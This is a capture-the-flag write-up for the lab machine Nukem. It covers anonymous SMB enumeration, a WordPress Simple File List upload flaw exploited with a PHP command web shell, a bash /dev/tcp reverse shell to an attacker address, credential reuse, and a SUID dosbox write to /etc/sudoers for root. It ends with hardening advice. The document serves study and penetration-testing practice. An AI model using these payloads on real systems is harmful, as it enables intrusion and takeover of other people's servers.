PT1 certified | OSCP in progress

Nukem – OffSec Practice Writeup

Nukem OffSec Proving Grounds Practice writeup cover

This Nukem OffSec Practice writeup walks through anonymous Samba share enumeration on a non-standard port, an unauthenticated WordPress Simple File List file upload, credential reuse from wp-config.php, and a SUID dosbox sudoers write to root.

Summary

Nukem is a medium Linux box themed around classic Apogee games (Duke Nukem / Commander Keen). The attack chain is a textbook example of why every port matters:

  1. Reconnaissance uncovers a Samba service running on a non-standard high port (36445) that a default scan would miss. An anonymous null session exposes a writable Commander share holding the source tree of an internal Flask application, plus a database of employee names.
  2. Initial access comes from the WordPress site on port 80. WPScan reveals the vulnerable Simple File List 4.2.2 plugin, whose unauthenticated arbitrary file upload is weaponised into a PHP web shell and a reverse shell.
  3. Lateral movement is pure credential reuse: the database password in wp-config.php is also the password for the local commander user.
  4. Privilege escalation abuses a SUID dosbox binary (a GTFOBins arbitrary-write primitive) to append a NOPASSWD rule to /etc/sudoers, yielding root.

Reconnaissance

Port scan

rustscan -a 192.168.188.105 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.3 (protocol 2.0)–
80/tcpApache httpd 2.4.46 (Unix) PHP/7.4.10WordPress 5.5.1 — title “Retro Gamming – Just another WordPress site”
3306/tcpMariaDB 10.3.24 or laterUnauthorized (remote access denied)
5000/tcpWerkzeug httpd 1.0.1 (Python 3.8.5)Flask dev server; returns 404 Not Found at /
13000/tcpnginx 1.18.0HTTP title “Login V14”
36445/tcpSamba smbd 4 (4.12.6)Non-standard SMB port; null auth allowed

Lesson in the open ports
SMB lives on 36445, not 139/445. Only a full -p- scan catches it, and it turns out to be the single most important service on the box. Always scan all 65535 ports before committing to a web-only path.

SMB enumeration on port 36445

A null session is accepted, and the Commander share is both readable and writable:

nxc smb 192.168.188.105 -u '' -p '' --port 36445 --shares
SMB    192.168.188.105  36445  nukem  [*] Unix - Samba (name:nukem) (domain:_) (signing:False) (SMBv1:False) (Null Auth:True)
SMB    192.168.188.105  36445  nukem  [*] Enumerated shares
SMB    192.168.188.105  36445  nukem  Share       Permissions    Remark
SMB    192.168.188.105  36445  nukem  -----       -----------    ------
SMB    192.168.188.105  36445  nukem  Commander   READ,WRITE     Commander Files
SMB    192.168.188.105  36445  nukem  IPC$                       IPC Service (Samba 4.12.6)

Connecting to the share reveals the source tree of an internal application (the .gitignore marks it as a git repository):

smbclient -N '\\192.168.188.105\Commander' -p 36445
smb: \> ls
  .gitignore         H       15   Fri Sep 18 19:19:19 2020
  README.md          N      417   Fri Sep 18 19:19:19 2020
  server.py          N     2552   Fri Sep 18 19:19:19 2020
  requirements.txt   N      287   Fri Sep 18 19:19:19 2020
  chinook.db         N   884736   Fri Sep 18 19:19:19 2020

Download everything recursively:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Triage of the loot:

  • requirements.txt was checked for pinned, vulnerable dependency versions — none exploitable.
cat requirements.txt | tr '==' ' '
# Flask 1.0, Werkzeug 0.15.3, SQLAlchemy 1.1.5, Jinja2 2.9.5, ...
  • server.py is the backend for the Flask app on port 5000 — reviewed but not useful for the attack path.
  • chinook.db is a SQLite sample database. Nothing sensitive beyond a list of potential employee/usernames (handy for later credential guessing).

Web recon — Port 80

The site is a WordPress blog (Retro Gamming) with a login page. The admin account exists but its password cannot be guessed; self-registration is open. Enumerate plugins with WPScan:

wpscan --url http://192.168.188.105 -e ap --api-token <WPSCAN_API_TOKEN>

The scan flags the Simple File List 4.2.2 plugin, which is vulnerable to an unauthenticated arbitrary file upload (ExploitDB 48979).

Initial access

Simple File List ≤ 4.2.2 lets an unauthenticated user upload a file with an allowed extension (e.g. .png) and then rename it to .php, bypassing the upload filter. Run the public exploit, but swap its default payload for a simple command web shell:

<?php system($_REQUEST['cmd']) ?>

The uploaded shell lands under the plugin’s upload directory and executes as the web user:

curl "http://192.168.188.105/wp-content/uploads/simple-file-list/1142.php?cmd=id"
# uid=33(http) gid=33(http) groups=33(http)

Upgrade to an interactive reverse shell. The one-liner, URL-encoded into the cmd parameter:

# Decoded payload
/bin/bash -c "bash -i >& /dev/tcp/192.168.45.172/5000 0>&1" &
curl "http://192.168.188.105/wp-content/uploads/simple-file-list/1142.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.175%2F5000%200%3E%261%22%20%26"

Catch it with penelope (auto-upgrades the TTY):

penelope -O -p 5000

Credential reuse → user flag. Read the WordPress configuration to recover the database credentials:

cat /var/www/html/wp-config.php | grep -i db_
# DB_USER: commander
# DB_PASSWORD: CommanderKeenVorticons1990

The database password is reused for the local commander account. Switching to that user grants the first flag:

su commander
# Password: CommanderKeenVorticons1990

Privilege escalation

Running linpeas highlights an unusual SUID binary:

find / -perm -4000 -type f 2>/dev/null
# /usr/bin/dosbox

dosbox is a GTFOBins entry: when it runs as SUID root, its mount + output-redirect feature is an arbitrary file write primitive. Mount the host root inside the emulator and append a NOPASSWD sudoers rule as root:

LFILE='/etc/sudoers'
/usr/bin/dosbox \
  -c 'mount c /' \
  -c "echo commander ALL=(ALL) NOPASSWD: ALL >> c:$LFILE" \
  -c exit

dosbox performs the redirection (SHELL:Redirect output to c:/etc/sudoers) with root’s effective UID, so the new line is written to the real /etc/sudoers. The commander user can now run anything as root:

sudo su
id
# uid=0(root) gid=0(root) groups=0(root)

Root achieved; read the final flag from /root.

Conclusion

Nukem chains four independent misconfigurations, each trivial on its own:

  • Exposed source over anonymous SMB on a non-standard port. The writable Commander share should never have allowed null authentication, and hosting SMB on 36445 only delays — never prevents — discovery. The leaked repository handed over employee names for credential attacks.
  • Outdated, vulnerable WordPress plugin. Simple File List 4.2.2’s unauthenticated upload is a known, patched CVE. Keeping third-party plugins current would have removed the foothold entirely.
  • Password reuse between the database and a system account. The same string guarded both the MySQL grant in wp-config.php and the commander OS login — a single leaked secret collapsed two trust boundaries.
  • A needless SUID bit on dosbox. Emulators, editors, and interpreters should never carry the SUID bit; GTFOBins catalogues exactly why.

Hardening: disable SMB null sessions and tighten share ACLs; patch/replace vulnerable plugins and subscribe to CVE feeds; use distinct, managed secrets per service; audit and strip SUID bits (find / -perm -4000) and mount user-writable partitions nosuid.

Index